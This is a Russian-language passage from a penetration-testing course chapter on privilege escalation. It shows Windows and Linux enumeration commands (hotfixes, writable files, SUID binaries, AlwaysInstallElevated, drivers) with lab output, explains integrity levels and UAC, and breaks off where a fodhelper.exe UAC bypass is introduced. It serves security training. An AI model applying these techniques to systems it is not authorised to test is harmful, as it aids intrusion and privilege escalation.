Microsoft Office Proofing Tools 2016 -     Microsoft Corporation       16.0.4266.1001
Herramientas de corrección de Microsoft    Microsoft Corporation       16.0.4266.1001
Outils de vérification linguistique 2016   Microsoft Corporation       16.0.4266.1001
Microsoft Visual C++ 2017 x86 Additional   Microsoft Corporation       14.12.25810
FortiClient                                Fortinet Inc                5.2.3.0633
Python 2.7.14                              Python Software Foundation  2.7.14150
VMware Tools                               VMware, Inc.                10.3.10.1240696
Microsoft Visual C++ 2017 x86 Minimum      Microsoft Corporation       14.12.25810
Microsoft Visual C++ 2008 Redistributable  Microsoft Corporation       9.0.30729.4148
Лисчтинг 22 - Список всех установленных приложений в Windows

Информация об установленных приложениях может быть полезна при поиске атак с повышением привилегий.

Аналогично, и что более важно, wmic также может быть использован для получения списка общесистемных обновлений, для чего необходимо запросить класс WMI .

Код:
c:\Users\student>wmic qfe get Caption, Description, HotFixID, InstalledOn
Caption                                     Description      HotFixID   InstalledOn
                                            Update           KB2693643  4/7/2018
http://support.microsoft.com/?kbid=4088785  Security Update  KB4088785  3/31/2018
http://support.microsoft.com/?kbid=4090914  Update           KB4090914  3/31/2018
http://support.microsoft.com/?kbid=4088776  Security Update  KB4088776  3/31/2018
Листинг 23 - Список установленных обновлений безопасности в Windows

Сочетание информации HotFixID и InstalledOn может дать точное представление об уровне безопасности целевой операционной системы Windows. Согласно результату выше, эта система не обновлялась в последнее время, что может упростить ее взлом.

Системы на базе Linux используют различные менеджеры пакетов. Например, дистрибутивы Linux на базе Debian используют , в то время как системы на базе Red Hat используют .

Для получения списка приложений, установленных (по dpkg) в нашей системе Debian, мы можем использовать dpkg -l.

Код:
student@debian:~$ dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                Version           Architecture  Description
+++-===================-=================-=============-=============================
ii  acl                 2.2.52-3+b1       i386          Access control list utilities
ii  adduser             3.115             all           add and remove users and grou
ii  adwaita-icon-theme  3.22.0-1+deb9u1   all           default icon theme of GNOME
ii  alsa-utils          1.1.3-1           i386          Utilities for configuring and
ii  anacron             2.3-24            i386          cron-like program that doesn'
ii  ant                 1.9.9-1           all           Java based build tool like ma
ii  ant-optional        1.9.9-1           all           Java based build tool like ma
ii  apache2             2.4.25-3+deb9u4   i386          Apache HTTP Server
ii  apache2-bin         2.4.25-3+deb9u4   i386          Apache HTTP Server (modules a
ii  apache2-data        2.4.25-3+deb9u4   all           Apache HTTP Server (common fi
ii  apache2-utils       2.4.25-3+deb9u4   i386          Apache HTTP Server (utility p
...
Листинг 24 - Список всех установленных пакетов в операционной системе Debian Linux

Это подтверждает то, чего мы ожидали: на машине Debian фактически работает веб-сервер. В данном случае, он работает под управлением Apache2.

Сбор информации о файлах и директориях с правами на чтение/запись (Enumerating Readable/Writable Files and Directories)

Как уже упоминалось, файлы с недостаточными ограничениями доступа к ним могут создать уязвимость, которая может позволить злоумышленнику получить повышенные привилегии. Чаще всего это происходит, когда злоумышленник может модифицировать скрипты или двоичные файлы, которые выполняются в контексте привилегированной учетной записи.

Кроме того, конфиденциальные файлы, которые могут быть прочитаны непривилегированным пользователем, могут содержать важную информацию, такую как учетные данные для базы данных или служебной учетной записи.

Поскольку невозможно вручную проверить права доступа каждого файла и директории, необходимо максимально автоматизировать эту задачу.

Существует ряд утилит и инструментов, которые могут автоматизировать эту задачу на платформе Windows. из SysInternals, пожалуй, самый известный и часто используемый инструмент для этой цели.

В следующем примере будет продемонстрировано, как использовать AccessChk для поиска файла с небезопасными правами доступа в каталоге Program Files. Обратите внимание, что целевой двоичный файл был просто создан для целей этого упражнения.

В частности, просмотрим каталог Program Files в поисках любого файла или каталога, предоставляющего группе право на запись.

Будем использовать -u для подавления ошибок, -w для поиска разрешений на запись и -s для выполнения рекурсивного поиска. Дополнительные опции также заслуживают изучения, так как этот инструмент весьма полезен.

Код:
c:\Tools\privilege_escalation\SysinternalsSuite>accesschk.exe -uws "Everyone" "C:\Program Files"

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

RW C:\Program Files\TestApplication\testapp.exe
Литсинг 25 - Список всех файлов и директорий с правом на запись для everyone по указанному пути

В приведенном выше листинге AccessChk успешно идентифицировал один исполняемый файл, который доступен для записи всем желающим. Если бы этот файл выполнялся привилегированным пользователем или учетной записью службы, можно было бы попытаться перезаписать его вредоносным файлом по нашему выбору, например, реверс шеллом, чтобы повысить привилегии. Аналогичный рабочий пример будет представлен позже в этой главе.

Также можно достичь той же цели, используя PowerShell. Это полезно в ситуациях, когда не возможности загружать и выполнять произвольные двоичные файлы на целевой системе.

Сама команда PowerShell (показанная ниже в листинге 26) может показаться несколько сложной, поэтому рассмотрим ее параметры.

Основной командой, которой воспользуемся, является Get-Acl, которая получает все права доступа к данному файлу или каталогу. Однако, поскольку Get-Acl не может быть запущен рекурсивно, также используем команду Get-ChildItem, чтобы сначала просмотреть все в каталоге Program Files. Это позволит получить все объекты в целевом каталоге вместе со всеми соответствующими правами доступа. Свойство AccessToString с флагом -match сужает результаты до конкретных свойств доступа, которые ищем. В данном случае, ищем любой объект, который может быть изменен (Modify) членами группы Everyone.

Код:
PS C:\Tools\privilege_escalation\SysinternalsSuite>Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

    Directory: C:\Program Files\TestApplication

Path        Owner                  Access
----        -----                  ------
testapp.exe BUILTIN\Administrators Everyone Allow Modify, Synchronize...
Листинг 26 - Список всех файлов и директорий с правом на запись для everyone по указанному пути, полученный с помощью PowerShell

В этом случае вывод идентичен выводу AccessChk. Эта последовательность команд позволяет использовать дополнительные опции форматирования.

На операционных системах Linux можно использовать для идентификации файлов с небезопасными правами доступа.

В примере ниже ищем каждый каталог, доступный для записи текущему пользователю на целевой системе. Просматриваем весь корневой каталог (/) и используем аргумент -writable для указания интересующего нас атрибута. Также используем -type d для поиска каталогов, и фильтруем ошибки с помощью связки 2>/dev/null:

Код:
student@debian:~$ find / -writable -type d 2>/dev/null
/usr/local/james/bin
/usr/local/james/bin/lib
/proc/16195/task/16195/fd
/proc/16195/fd
/proc/16195/map_files
/home/student
/home/student/.gconf
/home/student/.gconf/apps
/home/student/.gconf/apps/gksu
/home/student/Music
/home/student/thinclient_drives
/home/student/Videos
/home/student/.pcsc11
/home/student/.gnupg
...
Листинг 27 - Список всех доступных для записи директорий в Linux

Как показано выше, несколько каталогов, включая каталог /usr/local/james/bin, являются доступными для записи. Это, безусловно, требует дальнейшего исследования.

Сбор информации об отмонтированных дисках (Enumerating Unmounted Disks)

На большинстве систем диски автоматически монтируются во время загрузки. Поэтому легко забыть о немонтируемых дисках, которые могут содержать ценную информацию. Всегда необходимо искать несмонтированные диски, и если они существуют, проверять доступность на монтирование.

На системах на базе Windows можно использовать , чтобы вывести список всех монтируемых в данный момент дисков, а также тех, которые физически подключены, но не смонтированы.

Код:
c:\Users\student>mountvol
Creates, deletes, or lists a volume mount point.
...
Possible values for VolumeName along with current mount points are:

    \\?\Volume{25721a7f-0000-0000-0000-100000000000}\
        *** NO MOUNT POINTS ***

    \\?\Volume{25721a7f-0000-0000-0000-602200000000}\
        C:\

    \\?\Volume{78fa00a6-3519-11e8-a4dc-806e6f6e6963}\
        D:\
Листинг 28 - Список всех дисков доступных для монтирования в Windows

В этом случае система имеет две точки монтирования, которые сопоставляются с дисками C: и D: соответственно. Также видно, что у есть том с глобальным уникальным идентификатором (GUID) 25721a7f-0000-0000-0000-100000000000, который не имеет точки монтирования. Это может быть интересно, и мы, возможно, захотим продолжить исследование.

На Linux-системах можно использовать команду , чтобы получить список всех смонтированных файловых систем. Кроме того, в файле приведён список всех дисков, которые будут смонтированы во время загрузки.

Помните, что системный администратор мог использовать пользовательские конфигурации или скрипты для монтирования дисков, которые не перечислены в файле /etc/fstab. В связи с этим, рекомендуется не только проверить /etc/fstab, но и собрать информацию о смонтированных дисках с помощью mount.

Код:
student@debian:~$ cat /etc/fstab
# /etc/fstab: static file system information.
...
# <file system> <mount point>  <type>  <options>     <dump>  <pass>
# / was on /dev/sda1 during installation
UUID=fa336f7a-8cf8-4cd2-9547-22b08cf58b72 /    ext4  errors=remount-ro 0      1
# swap was on /dev/sda5 during installation
UUID=8b701d25-e290-49dc-b61b-1b9047088150 none swap  sw              0      0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto    0     0

student@debian:~$ mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=505664k,nr_inodes=126416,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=102908k,mode=755)
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
...
mqueue on /dev/mqueue type mqueue (rw,relatime)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
tmpfs on /run/user/110 type tmpfs (rw,nosuid,nodev,relatime,size=102904k,mode=700,uid=
gvfsd-fuse on /run/user/110/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,relatime,user_i
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=102904k,mode=700,uid
Листинг 29 - Содержимое файла /etc/fstab и список всех смонтированных дисков в Linux

В результате отображается раздел подкачки и основной диск ext4 этой Linux-системы. Более того, можно использовать для просмотра всех доступных дисков.

Код:
student@debian:~$ /bin/lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
fd0      2:0    1    4K  0 disk
sda      8:0    0    5G  0 disk
├─sda1   8:1    0  4.7G  0 part /
├─sda2   8:2    0    1K  0 part
└─sda5   8:5    0  334M  0 part [SWAP]
Листинг 30 - Список всех доступных дисков в Linux, полученный с использованием lsblk

Видно, что диск sda состоит из трех различных пронумерованных разделов. В некоторых ситуациях, изучая информацию о всех локальных дисках в системе, можно обнаружить разделы, которые не смонтированы. В зависимости от конфигурации системы (или неправильной конфигурации), можно будет смонтировать эти разделы и найти интересные документы, учетные данные или другую информацию, которая позволит нам повысить привилегии или лучшие закрепиться в сети.

Сбор информации о драйверах устройств и модулях ядра

Другой распространенный способ повышения привилегий связан с использованием драйверов устройств и модулей ядра. Рассмотрим реальные приемы эксплуатации позже в этой главе, но сначала давайте рассмотрим важные приемы сбора информации. Так как эта техника основана на сопоставлении уязвимостей с соответствующими эксплойтами, потребуется составить список драйверов и модулей ядра, которые загружаются на целевом компьютере.

На Windows можно начать поиск с команды . Введем аргумент /v для более подробного вывода, а также /fo csv для запроса вывода в формате CSV.

Чтобы отфильтровать вывод, выполним эту команду в сессии powershell. В PowerShell передадим результаты в команду , а также , что позволит выбрать конкретные свойства или наборы объектов, включая Display Name, Start Mode и Path.

Код:
c:\Users\student>powershell

PS C:\Users\student> driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Dis
play Name’, ‘Start Mode’, Path

Display Name                         Start Mode Path
------------                         ---------- ----
1394 OHCI Compliant Host Controller  Manual     C:\Windows\system32\drivers\1394ohci.s
3ware                                Manual     C:\Windows\system32\drivers\3ware.sys
Microsoft ACPI Driver                Boot       C:\Windows\system32\drivers\ACPI.sys
ACPI Devices driver                  Manual     C:\Windows\system32\drivers\AcpiDev.sy
Microsoft ACPIEx Driver              Boot       C:\Windows\system32\Drivers\acpiex.sys
ACPI Processor Aggregator Driver     Manual     C:\Windows\system32\drivers\acpipagr.s
ACPI Power Meter Driver              Manual     C:\Windows\system32\drivers\acpipmi.sy
ACPI Wake Alarm Driver               Manual     C:\Windows\system32\drivers\acpitime.s
ADP80XX                              Manual     C:\Windows\system32\drivers\ADP80XX.SY
Листинг 31 - Список загруженных драйверов в Windows

Получив список загруженных драйверов, необходимо сделать еще один шаг, чтобы запросить номер версии каждого загруженного драйвера. Воспользуемся командой , чтобы получить экземпляр WMI , который предоставляет информацию о драйверах с цифровой подписью. Направив вывод в Select-Object, можно указать конкретные свойства, включая DriverVersion. Более того, можно указать нужные имена драйверов, путем перенаправления вывода в .

Код:
PS C:\Users\student> Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

DeviceName               DriverVersion Manufacturer
----------               ------------- ------------
VMware VMCI Host Device  9.8.6.0       VMware, Inc.
VMware PVSCSI Controller 1.3.10.0      VMware, Inc.
VMware SVGA 3D           8.16.1.24     VMware, Inc.
VMware VMCI Bus Device   9.8.6.0       VMware, Inc.
VMware Pointing Device   12.5.7.0      VMware, Inc.
Листинг 32 - Список версий драйверов в Windows

Теперь, когда есть список всех загруженных драйверов устройств VMware вместе с соответствующими номерами версий, можно искать эксплойты для этих конкретных драйверов.

В Linux можно получить список загруженных модулей ядра с помощью lsmod без дополнительных аргументов.

Код:
student@debian:~$ lsmod
Module                  Size  Used by
fuse                   90112  3
appletalk              32768  0
ax25                   49152  0
ipx                    28672  0
p8023                  16384  1 ipx
p8022                  16384  1 ipx
psnap                  16384  2 appletalk,ipx
llc                    16384  2 p8022,psnap
evdev                  20480  5
vmw_balloon            20480  0
crc32_pclmul           16384  0
...
i2c_piix4              20480  0
libata                192512  2 ata_piix,ata_generic
scsi_mod              180224  4 sd_mod,libata,sg,vmw_pvscsi
floppy                 57344  0
Листинг 33 - Список загруженных драйверов в Linux

Как только был получен список загруженных модулей и определены те, о которых необходима дополнительная информация, например, о libata в вышеуказанном примере, стало возможным использовать modinfo, чтобы узнать больше о конкретном модуле. Обратите внимание, что для запуска этого инструмента требуется полный путь.

Код:
student@debian:~$ /sbin/modinfo libata
filename:       /lib/modules/4.9.0-6-686/kernel/drivers/ata/libata.ko
version:        3.00
license:        GPL
description:    Library module for ATA devices
author:         Jeff Garzik
srcversion:     7D8076C4A3FEBA6219DD851
depends:        scsi_mod
retpoline:      Y
intree:         Y
vermagic:       4.9.0-6-686 SMP mod_unload modversions 686
parm:           zpodd_poweroff_delay:Poweroff delay for ZPODD in seconds (int)
...
Листинг 34 - Дополнительная информация о модуле в Linux

Как и в примере с Windows, показанном выше, после получения списка драйверов и их версий у нас становится больше возможностей для поиска соответствующих эксплойтов, если они существуют.

Поиск файлов, позволяющих провести повышение прав

Позже в этом главе будут рассмотрены различные методы повышения привилегий. Однако, в данном разделе ознакомимся с несколькими примерами сбора информации, которые могут выявить интересные "короткие пути" в конкретных ОС для повышения привилегий.

Во-первых, на Windows-системах необходимо проверить состояние параметра реестра . Если этот ключ включен (установлен в 1) в HKEY_CURRENT_USER или в HKEY_LOCAL_MACHINE, то любой пользователь может запускать пакеты Windows Installer с повышенными привилегиями.

Мыожно использовать reg query для проверки этих настроек:

Код:
c:\Users\student>reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

c:\Users\student>reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
Листинг 35 - Запрос значений реестра AlwaysInstalledElevated в Windows

Если эта настройка включена, можно создать MSI файл и запустить его для повышения привилегий.

Аналогично, в системах на базе Linux можно искать файлы.

Обычно, при запуске исполняемого файла, он наследует права пользователя, который его запускает. Однако, если разрешения SUID установлены, бинарный файл будет запускаться с разрешениями владельца файла. Это означает, что если в двоичном файле установлен SUID-бит, а файл принадлежит root, то любой локальный пользователь сможет выполнить этот двоичный файл с повышенными привилегиями.

Можно использовать команду find для поиска двоичных файлов, помеченных SUID. В этом случае начинаем поиск в корневом каталоге (/), ищем файлы (-type f) с установленным битом SUID (-perm -u=s) и отбрасываем все сообщения об ошибках (2>/dev/null):

Код:
student@debian:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/userhelper
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/chsh
/bin/mount
/bin/su
/bin/fusermount
/bin/umount
/bin/ntfs-3g
/bin/ping
Листинг 36 - Поиск SUID файлов в Linux

В данном случае команда нашла несколько исполняемых файлов SUID. Использование двоичных SUID файлов будет зависеть от нескольких факторов. Например, если бы /bin/cp (команда копирования) был SUID, можно было бы копировать и перезаписывать необходимые файлы, такие как /etc/passwd.

Автоматизированный сбор информации (Automated Enumeration)

Очевидно, что каждая операционная система содержит большой объем информации, который может быть использован для дальнейших атак. Независимо от целевой операционной системы, сбор этой подробной информации вручную может занять довольно много времени. К счастью, можно использовать различные скрипты для автоматизации этого процесса.

На Windows одним из таких скриптов является windows-privesc-check, который можно найти в хранилище windowsprivesc-check Github. Репозиторий уже включает в себя исполняемый файл Windows, сгенерированный PyInstaller, но также может быть пересобран как необходимо.

Запуск исполняемого файла с флагом -h отображает следующее окно справки:

Код:
c:\Tools\privilege_escalation\windows-privesc-check-master>windows-privesc-check2.exe -h
windows-privesc-check v2.0 (http://pentestmonkey.net/windows-privesc-check)

Usage: windows_privesc_check.exe (--dump [ dump opts] | --dumptab | --audit) [examine
opts] [host opts] -o report-file-stem

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  --dump                Dumps info for you to analyse manually
  --dumptab             Dumps info in tab-delimited format
  --audit               Identify and report security weaknesses
  --pyshell             Start interactive python shell

examine opts:
  At least one of these to indicate what to examine (*=not implemented)

  -a, --all             All Simple Checks (non-slow)
  -A, --allfiles        All Files and Directories (slow)
  -D, --drives          Drives
  -e, --reg_keys        Misc security-related reg keys
  -E, --eventlogs       Event Log*
  -f INTERESTING_FILE_LIST, --interestingfiledir=INTERESTING_FILE_LIST
                        Changes -A behaviour. Look here INSTEAD
  -F INTERESTING_FILE_FILE, --interestingfilefile=INTERESTING_FILE_FILE
                        Changes -A behaviour. Look here INSTEAD. On dir perline
  -G, --groups          Groups
  -H, --shares          Shares
  -I, --installed_software
                        Installed Software
  -j, --tasks           Scheduled Tasks
  -k, --drivers         Kernel Drivers
...
Листинг 37 - Вывод справки

Этот инструмент принимает множество опций, но будут рассмотрены несколько коротких примеров. Во-первых, соберем информацию о группах пользователей в системе. Укажем --dump для просмотра вывода, а -G - для отображения списка групп.

Код:
c:\Tools\privilege_escalation\windows-privesc-check-master>windows-privesc-check2.exe --dump -G
windows-privesc-check v2.0 (http://pentestmonkey.net/windows-privesc-check)

[i] TSUserEnabled registry value is 0. Excluding TERMINAL SERVER USER

Considering these users to be trusted:
* BUILTIN\Power Users
* BUILTIN\Administrators
* NT SERVICE\TrustedInstaller
* NT AUTHORITY\SYSTEM

[i] Running as current user. No logon creds supplied (-u, -D, -p).
...
============ Starting Audit at 2019-09-22 12:45:56 ============

[+] Running: dump_misc_checks
[+] Host is not in domain
 [+] Checks completed

[+] Running: dump_groups
[+] Dumping group list:
BUILTIN\Administrators has member: CLIENT251\Administrator
BUILTIN\Administrators has member: CLIENT251\admin
BUILTIN\Administrators has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508
BUILTIN\Administrators has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508
BUILTIN\Guests has member: CLIENT251\Guest
BUILTIN\IIS_IUSRS has member: NT AUTHORITY\IUSR
BUILTIN\Remote Desktop Users has member: CLIENT251\student
BUILTIN\Users has member: NT AUTHORITY\INTERACTIVE
BUILTIN\Users has member: NT AUTHORITY\Authenticated Users
BUILTIN\Users has member: CLIENT251\student
BUILTIN\Users has member: [unknown]\S-1-5-21-2715734670-1758985447-1278008508-513
[+] Checks completed
Листинг 38 - Вывод команды windows-privesc-check

Скрипт успешно выполнился и предоставил информацию о группах безопасности в системе.

Подобно windows-privesc-check в Windows, можно также использовать на UNIX-системах, таких как Linux. Можно просмотреть справку по инструменту, запустив скрипт без каких-либо аргументов.

Код:
student@debian:~$./unix-privesc-check
unix-privesc-check v1.4 ( http://pentestmonkey.net/tools/unix-privesc-check )

Usage: unix-privesc-check { standard | detailed }

"standard" mode: Speed-optimised check of lots of security settings.

"detailed" mode: Same as standard mode, but also checks perms of open file
                 handles and called files (e.g. parsed from shell scripts,
                 linked .so files). This mode is slow and prone to false
                 positives but might help you find more subtle flaws in 3rd
                 party programs.

This script checks file permissions and other settings that could allow
local users to escalate privileges.
...
Листинг 39 - Запуск unix_privesc_check без параметров​

Как видно из приведенного выше листинга, скрипт поддерживает "стандартный" и "детальный" режим работы. Основываясь на предоставленной информации, стандартный режим выполняет процесс, оптимизированный по скорости, и должен обеспечивать меньшее количество ложных срабатываний. Поэтому в следующем примере будем использовать стандартный режим и перенаправим весь вывод в файл с именем output.txt.

Код:
student@debian:~$ ./unix-privesc-check standard > output.txt
Листинг 40 - Запуск unix_privesc_check​

Скрипт выполняет многочисленные проверки прав доступа к общим файлам. Например, следующий отрывок показывает конфигурационные файлы, разрешающие запись не root-пользователям:


Код:
Checking for writable config files
############################################
    Checking if anyone except root can change /etc/passwd
WARNING: /etc/passwd is a critical config file. World write is set for /etc/passwd
    Checking if anyone except root can change /etc/group
    Checking if anyone except root can change /etc/fstab
    Checking if anyone except root can change /etc/profile
    Checking if anyone except root can change /etc/sudoers
    Checking if anyone except root can change /etc/shadow
Листинг 41 - unix_privesc_check записываемые файлы конфигурации

Этот листинг показывает, что любой пользователь в системе может редактировать файл /etc/passwd! Это довольно критично, так как позволяет злоумышленникам или создать учетные записи пользователей на целевом компьютере, что будет продемонстрированно позже.

Хотя эти инструменты выполняют много автоматизированных проверок, имейте в виду, что все системы отличаются, и уникальные единичные системные изменения могут быть пропущены подобными инструментами. По этой причине важно обращать внимание на уникальность конфигурации, которая может быть обнаружена .

Примеры повышения привилегий в Windows

В этом разделе обсудим привилегии Windows, механизмы целостности и контроль учетных записей пользователей (UAC). Продемонстрируем методы обхода UAC и воспользуемся уязвимостями драйверов ядра, небезопасными правами доступа к файлам и unquoted путями к службам для повышения привилегий на целевом компьютере.

Понимание привилегий Windows и уровней доверия (Understanding Windows Privileges and Integrity Levels)

в операционных системах Windows относятся к полномочиям определенной учетной записи на выполнение локальных системных операций. Сюда относятся такие действия, как изменение файловой системы, добавление пользователей, выключение системы и т.д.

Для того чтобы эти привилегии были эффективны, операционная система Windows использует объекты, называемые . После аутентификации пользователя Windows генерирует маркер доступа, который присваивается этому пользователю. Сам токен содержит различные фрагменты информации, которые фактически описывают контекст безопасности данного пользователя, включая его привилегии.

Наконец, эти маркеры должны быть уникально идентифицируемыми, учитывая информацию, которую они содержат. Для этого используется , представляющий собой уникальное значение, которое присваивается каждому объекту (включая маркеры), например, учетной записи пользователя или группы.

Эти SID-ы генерируются и обслуживаются .

В дополнение к привилегиям, Windows также реализует так называемый . Он является основным компонентом архитектуры безопасности Windows и работает путем назначения прикладным процессам и . Проще говоря, это описывает уровень доверия, который операционная система имеет к запущенным приложениям или защищенным объектам. В качестве примера, настроенный уровень безопасности определяет, какие действия может выполнить приложение, включая возможность чтения из локальной файловой системы или записи в нее. API также могут быть заблокированы для определенных уровней безопасности.

Начиная с Windows Vista, процессы выполняются на четырех уровнях безопасности:
  • Процесс безопасности системы: права системы
  • Высокая безопасности процесса: административные права
  • Процесс средней безопасности: стандартные права пользователя
  • Низкая безопасность процесса: очень ограниченные права, часто используемые в процессов

Введение в контроль учетных записей пользователей (UAC)

(UAC) - это система контроля доступа, представленная компанией Microsoft с Windows Vista и Windows Server 2008. Хотя UAC обсуждается и исследуется уже довольно долгое время, важно подчеркнуть, что в Microsoft не считают ее пределом безпасности. Скорее, UAC заставляет приложения и задачи работать в контексте неадминистративной учетной записи до тех пор, пока администратор не разрешит повышенный доступ. Это заблокирует запуск инсталляторов и неавторизованных приложений без прав администраторской учетной записи, а также заблокирует изменения в системных настройках. В общем, эффект от UAC заключается в том, что любое приложение, желающее выполнить операцию с потенциальным общесистемным воздействием, не может сделать это незаметно. По крайней мере, в теории.

Также важно подчеркнуть тот факт, что UAC имеет два различных режима: подсказка авторизации и подсказка согласия. Разница довольно проста. Когда стандартный пользователь хочет выполнить административную задачу, такую как установка нового приложения, и UAC включена, он увидит приглашение к авторизации. Другими словами, учетные данные административного пользователя потребуются для выполнения задачи. Однако когда административный пользователь пытается сделать то же самое, ему выдается уведомление о согласии. В этом случае, пользователь просто должен подтвердить, что задача должна быть выполнена, и повторный ввод учетных данных пользователя не требуется.

Например, на следующем рисунке командный процессор Windows (Command Processor), запущенный под стандартной учетной записью пользователя, пытается выполнить привилегированное действие. UAC действует в соответствии (Always Notify в данном случае), приостанавливая целевой процесс cmd.exe и запрашивая имя и пароль администратора для выполнения запрашиваемого привилегированного действия.

introduction_to_user_account_control_uac_figure_275.png

Рисунок 1: Диалог UAC, запрашивающий пароль администратора

Даже входя в систему как административный пользователь, учетная запись будет иметь два маркера безопасности, один из которых будет работать на среднем уровне безопасности, а другой - на высоком. UAC действует как механизм разделения этих двух уровней безопасности.

Чтобы увидеть уровни безопасности в действии, давайте сначала войдем в систему от имени администратора, откроем интерпретатор команд и выполним команду whoami /groups:

Код:
c:\Users\admin>whoami /groups

GROUP INFORMATION
-----------------

Group Name                              Type             SID          Attributes
======================================================== ============ ================
Everyone                                Well-known group S-1-1-0      Mandatory group,
NT AUTHORITY\Local account and member   Well-known group S-1-5-114    Group used for d
BUILTIN\Administrators                  Alias            S-1-5-32-544 Group used for d
BUILTIN\Users                           Alias            S-1-5-32-545 Mandatory group,
NT AUTHORITY\INTERACTIVE                Well-known group S-1-5-4      Mandatory group,
CONSOLE LOGON                           Well-known group S-1-2-1      Mandatory group,
NT AUTHORITY\Authenticated Users        Well-known group S-1-5-11     Mandatory group,
NT AUTHORITY\This Organization          Well-known group S-1-5-15     Mandatory group,
NT AUTHORITY\Local account              Well-known group S-1-5-113    Mandatory group,
LOCAL                                   Well-known group S-1-2-0      Mandatory group,
NT AUTHORITY\NTLM Authentication        Well-known group S-1-5-64-10  Mandatory group,
Mandatory Label\Medium Mandatory Level  Label            S-1-16-8192
Листинг 42 - Проверка группового уровня безопасности (Group Integrity Level)

Как указано в последней строке вывода, эта командная строка в настоящее время работает на среднем уровне безопасности.

Давайте попробуем изменить пароль администратора из этой командной строки:

Код:
C:\Users\admin> net user admin Ev!lpass
System error 5 has occurred.

Access is denied.
Листинг 43 - Попытка изменения пароля

Запрос отклонен, несмотря на то, что мы вошли в систему как административный пользователь.

Чтобы изменить пароль администратора, мы должны перейти на высокий уровень безопасности, даже если мы вошли в систему как административный пользователь. В нашем примере, одним из способов сделать это является использование powershell.exe с помощью команды , указывающей опцию "Run as administrator":

Код:
C:\Users\admin>powershell.exe Start-Process cmd.exe -Verb runAs
Листинг 44 - Использование powershell для запуска процесса cmd.exe с высоким уровнем безопасности (high integrity)

После отправки этой команды и подтверждения запроса UAC, мы получаем новый процесс cmd.exe, обладающий высоким уровнем безопасности.

Давайте проверим действующий уровень безопасности с помощью утилиты , используя аргумент /groups, и попытаемся изменить пароль ещё раз:

Код:
C:\Windows\system32> whoami /groups
GROUP INFORMATION
-----------------
Group Name                             Type              SID          Attributes
======================================================== ============ ================
Everyone                               Well-known group S-1-1-0       Mandatory group,
NT AUTHORITY\Local account and member  Well-known group S-1-5-114     Mandatory group,
BUILTIN\Administrators                 Alias            S-1-5-32-544  Mandatory group,
BUILTIN\Users                          Alias            S-1-5-32-545  Mandatory group,
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4       Mandatory group,
CONSOLE LOGON                          Well-known group S-1-2-1       Mandatory group,
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11      Mandatory group,
NT AUTHORITY\This Organization         Well-known group S-1-5-15      Mandatory group,
NT AUTHORITY\Local account             Well-known group S-1-5-113     Mandatory group,
LOCAL                                  Well-known group S-1-2-0       Mandatory group,
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10   Mandatory group,
Mandatory Label\High Mandatory Level   Label            S-1-16-12288

C:\Windows\system32> net user admin Ev!lpass
The command completed successfully.
Листинг 45 - Успешное изменение пароля администратора после запуска cmd.exe с высоким уровнем безопасности (high integrity)

На этот раз мы работаем с высоким уровнем безопасности, и смена пароля прошла успешно.

Обход User Account Control (UAC): изучение примера с fodhelper.exe

UAC можно обойти различными способами. В этом первом примере будет продемонстрирована техника, которая позволяет администратору обойти UAC, незаметно поднимая уровень безопасности со среднего до высокого.

Большинство общеизвестных методов обхода UAC нацелены на конкретную версию операционной системы. В данном случае целью является наш тестовый клиент под управлением Windows 10 build 1709. Мы используем интересный UAC-обход, основанный на fodhelper.exe (ссылки на материалы и ), приложении поддержки Microsoft, отвечающем за управление языковыми изменениями в операционной системе. В частности, это приложение запускается всякий раз, когда локальный пользователь выбирает опцию "Manage optional features" (Управление дополнительными функциями) в окне "Apps & functions" Windows Settings.

